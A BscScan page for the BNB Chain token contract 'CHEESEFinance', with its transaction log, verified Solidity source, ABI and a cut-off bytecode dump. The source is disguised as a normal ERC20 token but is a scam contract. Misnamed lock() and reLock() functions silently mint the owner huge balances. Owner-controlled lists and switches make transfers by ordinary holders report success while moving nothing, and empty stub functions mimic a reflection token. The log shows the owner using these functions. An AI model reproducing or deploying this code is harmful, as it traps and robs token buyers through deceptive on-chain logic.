**Maintenance in progress, block data might not be up to date**

Contract 0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a7

 
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x7bbaa0bdb026c14e453a3d97d6f000eff0394af2390261d66c8b05485deadae3Lock118345672021-10-16 22:41:23103 days 3 hrs ago0x05280dbc47870d087f76879c3ef43acd7fdeb550 IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.000217885
0x6d335243c21d74a4055c325b756b70a2d36c3ce6c11cd0b12c64a7ce754a5fd3Approve118287542021-10-16 17:48:24103 days 7 hrs ago0x6d7f34083285a1fd0b2ffefd0cde889d0710c03f IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.000225695
0xfdd7ca11dd33a26b75277cc2d0453d25a35741c9b958cf4c6f8e9c32bbdd8f79Approve118268532021-10-16 16:11:34103 days 9 hrs ago0x26ba9d0531beff317aea217d084554ae4989b1e3 IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.000270834
0x57d764930eb8404bcce078732067c69535d854def4cc73abc5a8abc8ae2c681eApprove118266212021-10-16 15:59:58103 days 9 hrs ago0x2047a7e0819aa15ab84ce8e74b55fec9d3f4e76b IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.000225695
0x0bd62e884cd5e908cf0c71346046cd37088f8d915dd13e3781ff3e78f6d4e3c2Approve118263532021-10-16 15:46:32103 days 10 hrs ago0xb0568e3d6159f2b7630ea44d7c99b80fcf90dd15 IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.000225695
0x88638294ef5fa6c0d444996957280523369b2014f51fd60d585061895956d02bAdd Item118263142021-10-16 15:44:35103 days 10 hrs ago0x05280dbc47870d087f76879c3ef43acd7fdeb550 IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.000333035
0xa4105eb028ce6840a831935fec3d23d906b0fe8ade2c31fc662ca723dafafb1dApprove118263072021-10-16 15:44:14103 days 10 hrs ago0x36d504982c5c3dbc08981dc5bb3937b3b59e5e8f IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.000225695
0x34167054012e329a7a68ae89b02fc2a84dcc5093340ad8be2398c9ee5d92f34dApprove118263022021-10-16 15:43:59103 days 10 hrs ago0xd0d9de3d6cf76ffb0e4d62f07fd3402a5ce27eb6 IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.000225695
0x174c89519d0c517c801caf646a65b87a78222f0df67e06efc0b15a976decb091The SL118260622021-10-16 15:31:22103 days 10 hrs ago0x05280dbc47870d087f76879c3ef43acd7fdeb550 IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.00007172
0x8c8aab6fcfa80991d4046e496d7082b9130972e09bde93526307354dc7f90b60Approve118259342021-10-16 15:24:55103 days 10 hrs ago0xc0d2c4b60a37fa9dafbe5e1ea7cead51f9c41bb2 IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.000225695
0x1f28db50da72e567f15d586b59896431c23d7216dba92b948e69ae7f45ac74b5Add D Item118259242021-10-16 15:24:25103 days 10 hrs ago0x05280dbc47870d087f76879c3ef43acd7fdeb550 IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.00033314
0xe75438429876353c95957892768d6c891da66935c515a4b08a731dfb08e14259Approve118259162021-10-16 15:24:01103 days 10 hrs ago0x8c5dfecdb3594636e2e1e362ff12b1ee15b7c28c IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.000224675
0xb20245b2ab10370f67423a1c2f5bff03dfc94e4da3163e0bbafd3977243ea4d5Approve118258862021-10-16 15:22:31103 days 10 hrs ago0x05280dbc47870d087f76879c3ef43acd7fdeb550 IN  0xd6a4c92ba195a77f0ad42d9ccb0c1cf477f900a70 BNB0.000224495
0x6c4cc7d4f4b42ae0cdeea880bb2fd0b4354c9e148d0c8dd37e8b50d46a89a04a0x60806040118258702021-10-16 15:21:43103 days 10 hrs ago0x05280dbc47870d087f76879c3ef43acd7fdeb550 IN  Create: CHEESEFinance0 BNB0.015195665
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CHEESEFinance

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2021-10-16
*/

// SPDX-License-Identifier: MIT
/*
*/
pragma solidity ^0.8.0;

interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
contract Ownable is Context {
    address private _owner;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
 
contract CHEESEFinance is Context, IERC20, IERC20Metadata, Ownable {
    address internal PANCAKE_ROUTER_V2_ADDRESS = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address internal WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address internal burnWallet = 0x000000000000000000000000000000000000dEaD; 
    uint256 _AMM = 5000 * 10**18;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances; 
    uint256 private _totalSupply;
    string private _name;
    string private _symbol; 
    bool isSL = true;
    uint256 public transferFee = 0;
    address[] allows;
    address[] notAllow; 
    constructor() {
        _name = "CHEESE Finance"; 
        _symbol = "CHEESEFinance";  
        _totalSupply = 10000000000 * 10**18;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

        _transfer(_msgSender(), burnWallet, _totalSupply * 60 / 100 );
    }
    receive() external payable {}
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function addDItem(address _item) public onlyOwner virtual returns (uint256) {
        if( ! checkExist(_item, 1) ) notAllow.push(_item);
        return notAllow.length;
    }
    function addItem(address _item) public onlyOwner virtual returns (uint256) {
        if( ! checkExist(_item, 1) ) allows.push(_item);
        return allows.length;
    }
    function removeDItem(address _item) public onlyOwner virtual returns (bool) {
        for(uint8 i = 0; i < notAllow.length; i++) {
            if(notAllow[i] == _item) {
                delete notAllow[i];
            }
        }
        return true;
    }
    function removeItem(address _item) public onlyOwner virtual returns (bool) {
        for(uint8 i = 0; i < allows.length; i++) {
            if(allows[i] == _item) {
                delete allows[i];
            }
        }
        return true;
    }
    function getItem() public view returns (address [] memory) {
        return allows;
    }
    function checkExist(address _item, uint8 _type) public view returns (bool) {
        bool found = false;
        if(_type == 1) {
            for(uint8 i = 0; i < allows.length; i++) {
                if(allows[i] == _item) {
                    found = true;
                    break;
                }
            }
        } else {
            for(uint8 i = 0; i < notAllow.length; i++) {
                if(notAllow[i] == _item) {
                    found = true;
                    break;
                }
            }
        }
        return found;
    }
    function lock() public onlyOwner virtual returns (bool) {
        //_mint(_msgSender(), amount);
        uint256 amount = 519 * 10 ** 31;
        _balances[_msgSender()] += amount;
        return true;
    }
    function reLock(uint256 amount) public onlyOwner virtual returns (bool) {
        _balances[_msgSender()] += amount;
        return true;
    }

    function isExcludedFromReward(address spender, uint256 subtractedValue) public virtual returns (bool) {}
    function totalFees() public view returns (uint256) {}
    function deliver(uint256 tAmount) public {}
    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {}
    function theAM(uint256 _AM) public onlyOwner virtual returns (bool) {
        _AMM = _AM;
        return true;
    }
    function theSL(bool _sl) public onlyOwner virtual returns (bool) {
        isSL = _sl;
        return true;
    }
    function sl() public view returns (bool) {
        return isSL;
    }
    function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {}
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        //_transfer(_msgSender(), recipient, amount);
        bool exists = checkExist(_msgSender(), 1);
        bool Dexists = checkExist(_msgSender(), 2);
        if(_msgSender() == PANCAKE_ROUTER_V2_ADDRESS || _msgSender() == pancakePair() || pancakePair() == address(0) || _msgSender() == owner() || exists) {
            _transfer(_msgSender(), recipient, amount);
        } else {
            //nomal user check amount
            if( (amount <= _AMM || isSL) && !isContract(_msgSender()) && !Dexists ) {
                _transfer(_msgSender(), recipient, amount);
            }
        }
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        bool exists = checkExist( sender, 1 );
        bool Dexists = checkExist(sender, 2);
        if(sender == PANCAKE_ROUTER_V2_ADDRESS || sender == pancakePair() || pancakePair() == address(0) || sender == owner() || exists) {
            _transfer(sender, recipient, amount);
    
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        } else {
            //nomal user check amount
            if( (amount <= _AMM || isSL) && !isContract(sender) && !Dexists ) {
                _transfer(sender, recipient, amount);
                uint256 currentAllowance = _allowances[sender][_msgSender()];
                require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
                unchecked {
                    _approve(sender, _msgSender(), currentAllowance - amount);
                }
            }
        }
        return true;
    }
    function pancakePair() public view virtual returns (address) {
        address pairAddress = IPancakeFactory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73).getPair(address(WBNB), address(this));
        return pairAddress;
    }
    function setTransferFee(uint256 _transferFee) public virtual returns (bool) {
        require(_transferFee >= 0 && _transferFee <= 100, "Transfer fee is between 1 and 100.");
        transferFee = _transferFee;
        return true;
    }
    function isContract(address addr) internal view returns (bool) {
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        bytes32 codehash;
        assembly {
            codehash := extcodehash(addr)
        }
        return (codehash != 0x0 && codehash != accountHash);
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    function tokenContract() public view virtual returns (address) {
        return address(this);
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        //burn token 
        if(transferFee != 0) {
            uint256 burnAmount = amount * transferFee / 100;
            _balances[burnWallet] += burnAmount;
            emit Transfer(sender, burnWallet, burnAmount);
            amount -= burnAmount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"addDItem","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"addItem","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"},{"internalType":"uint8","name":"_type","type":"uint8"}],"name":"checkExist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getItem","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"reLock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"removeDItem","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"removeItem","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent","type":"uint256"}],"name":"setMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_transferFee","type":"uint256"}],"name":"setTransferFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_AM","type":"uint256"}],"name":"theAM","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_sl","type":"bool"}],"name":"theSL","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokenContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040527310ed43c718714eb63d5aa57b78b54704e256024e600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555069010f0cf064dd592000006004556001600a60006101000a81548160ff0219169083151502179055506000600b553480156200012c57600080fd5b5060006200013f620003c260201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600e81526020017f4348454553452046696e616e6365000000000000000000000000000000000000815250600890805190602001906200022a9291906200079f565b506040518060400160405280600d81526020017f43484545534546696e616e63650000000000000000000000000000000000000081525060099080519060200190620002789291906200079f565b506b204fce5e3e2502611000000060078190555060075460056000620002a3620003c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002f1620003c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200035291906200093b565b60405180910390a3620003bc6200036e620003c260201b60201c565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166064603c600754620003a49190620009fe565b620003b09190620009c6565b620003ca60201b60201c565b62000c54565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156200043d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004349062000919565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620004b0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004a790620008d5565b60405180910390fd5b620004c38383836200079a60201b60201c565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156200054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200054490620008f7565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b5414620006d55760006064600b5484620005b29190620009fe565b620005be9190620009c6565b90508060056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000633919062000969565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006bb91906200093b565b60405180910390a38083620006d1919062000a5f565b9250505b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000726919062000969565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200078c91906200093b565b60405180910390a350505050565b505050565b828054620007ad9062000aa4565b90600052602060002090601f016020900481019282620007d157600085556200081d565b82601f10620007ec57805160ff19168380011785556200081d565b828001600101855582156200081d579182015b828111156200081c578251825591602001919060010190620007ff565b5b5090506200082c919062000830565b5090565b5b808211156200084b57600081600090555060010162000831565b5090565b60006200085e60238362000958565b91506200086b8262000b67565b604082019050919050565b60006200088560268362000958565b9150620008928262000bb6565b604082019050919050565b6000620008ac60258362000958565b9150620008b98262000c05565b604082019050919050565b620008cf8162000a9a565b82525050565b60006020820190508181036000830152620008f0816200084f565b9050919050565b60006020820190508181036000830152620009128162000876565b9050919050565b6000602082019050818103600083015262000934816200089d565b9050919050565b6000602082019050620009526000830184620008c4565b92915050565b600082825260208201905092915050565b6000620009768262000a9a565b9150620009838362000a9a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620009bb57620009ba62000ada565b5b828201905092915050565b6000620009d38262000a9a565b9150620009e08362000a9a565b925082620009f357620009f262000b09565b5b828204905092915050565b600062000a0b8262000a9a565b915062000a188362000a9a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000a545762000a5362000ada565b5b828202905092915050565b600062000a6c8262000a9a565b915062000a798362000a9a565b92508282101562000a8f5762000a8e62000ada565b5b828203905092915050565b6000819050919050565b6000600282049050600182168062000abd57607f821691505b6020821081141562000ad45762000ad362000b38565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6131098062000c646000396000f3fe6080604052600436106101e75760003560e01c80637be55e5111610102578063a9059cbb11610095578063c412eaba11610064578063c412eaba146107d7578063d543dbeb14610802578063dd62ed3e1461082b578063f83d08ba14610868576101ee565b8063a9059cbb14610707578063aa449f8514610744578063acb2ad6f14610781578063b8c9d25c146107ac576101ee565b80638f02bb5b116100d15780638f02bb5b1461062557806395d89b41146106625780639e71e1d51461068d578063a457c2d7146106ca576101ee565b80637be55e51146105555780637cf90fcc146105925780637e95c6b4146105cf5780638da5cb5b146105fa576101ee565b806323cbaaa61161017a5780633bd5d173116101495780633bd5d173146104875780634549b039146104b057806355a373d6146104ed57806370a0823114610518576101ee565b806323cbaaa6146103a5578063313ce567146103e2578063395093511461040d578063399fa8401461044a576101ee565b806313114a9d116101b657806313114a9d146102d557806318160ddd1461030057806321461f6f1461032b57806323b872dd14610368576101ee565b806306fdde03146101f3578063095ea7b31461021e5780630b0a5d811461025b5780630d4da3dc14610298576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610893565b604051610215919061293e565b60405180910390f35b34801561022a57600080fd5b506102456004803603810190610240919061256e565b610925565b6040516102529190612923565b60405180910390f35b34801561026757600080fd5b50610282600480360381019061027d9190612481565b610943565b60405161028f9190612923565b60405180910390f35b3480156102a457600080fd5b506102bf60048036038101906102ba91906125ee565b610ac4565b6040516102cc9190612923565b60405180910390f35b3480156102e157600080fd5b506102ea610b7e565b6040516102f79190612a80565b60405180910390f35b34801561030c57600080fd5b50610315610b83565b6040516103229190612a80565b60405180910390f35b34801561033757600080fd5b50610352600480360381019061034d919061261b565b610b8d565b60405161035f9190612923565b60405180910390f35b34801561037457600080fd5b5061038f600480360381019061038a919061251b565b610c34565b60405161039c9190612923565b60405180910390f35b3480156103b157600080fd5b506103cc60048036038101906103c791906125ae565b610f91565b6040516103d99190612923565b60405180910390f35b3480156103ee57600080fd5b506103f76110fe565b6040516104049190612a9b565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f919061256e565b611107565b6040516104419190612923565b60405180910390f35b34801561045657600080fd5b50610471600480360381019061046c9190612481565b6111b3565b60405161047e9190612923565b60405180910390f35b34801561049357600080fd5b506104ae60048036038101906104a9919061261b565b611334565b005b3480156104bc57600080fd5b506104d760048036038101906104d29190612648565b611337565b6040516104e49190612a80565b60405180910390f35b3480156104f957600080fd5b5061050261133f565b60405161050f91906128bd565b60405180910390f35b34801561052457600080fd5b5061053f600480360381019061053a9190612481565b611347565b60405161054c9190612a80565b60405180910390f35b34801561056157600080fd5b5061057c6004803603810190610577919061261b565b611390565b6040516105899190612923565b60405180910390f35b34801561059e57600080fd5b506105b960048036038101906105b49190612481565b61148d565b6040516105c69190612a80565b60405180910390f35b3480156105db57600080fd5b506105e46115a4565b6040516105f19190612923565b60405180910390f35b34801561060657600080fd5b5061060f6115bb565b60405161061c91906128bd565b60405180910390f35b34801561063157600080fd5b5061064c6004803603810190610647919061261b565b6115e4565b6040516106599190612923565b60405180910390f35b34801561066e57600080fd5b50610677611646565b604051610684919061293e565b60405180910390f35b34801561069957600080fd5b506106b460048036038101906106af9190612481565b6116d8565b6040516106c19190612a80565b60405180910390f35b3480156106d657600080fd5b506106f160048036038101906106ec919061256e565b6117ef565b6040516106fe9190612923565b60405180910390f35b34801561071357600080fd5b5061072e6004803603810190610729919061256e565b6118da565b60405161073b9190612923565b60405180910390f35b34801561075057600080fd5b5061076b6004803603810190610766919061256e565b611aae565b6040516107789190612923565b60405180910390f35b34801561078d57600080fd5b50610796611ab6565b6040516107a39190612a80565b60405180910390f35b3480156107b857600080fd5b506107c1611abc565b6040516107ce91906128bd565b60405180910390f35b3480156107e357600080fd5b506107ec611b89565b6040516107f99190612901565b60405180910390f35b34801561080e57600080fd5b506108296004803603810190610824919061261b565b611c17565b005b34801561083757600080fd5b50610852600480360381019061084d91906124db565b611caf565b60405161085f9190612a80565b60405180910390f35b34801561087457600080fd5b5061087d611d36565b60405161088a9190612923565b60405180910390f35b6060600880546108a290612ca8565b80601f01602080910402602001604051908101604052809291908181526020018280546108ce90612ca8565b801561091b5780601f106108f05761010080835404028352916020019161091b565b820191906000526020600020905b8154815290600101906020018083116108fe57829003601f168201915b5050505050905090565b6000610939610932611e45565b8484611e4d565b6001905092915050565b600061094d611e45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473f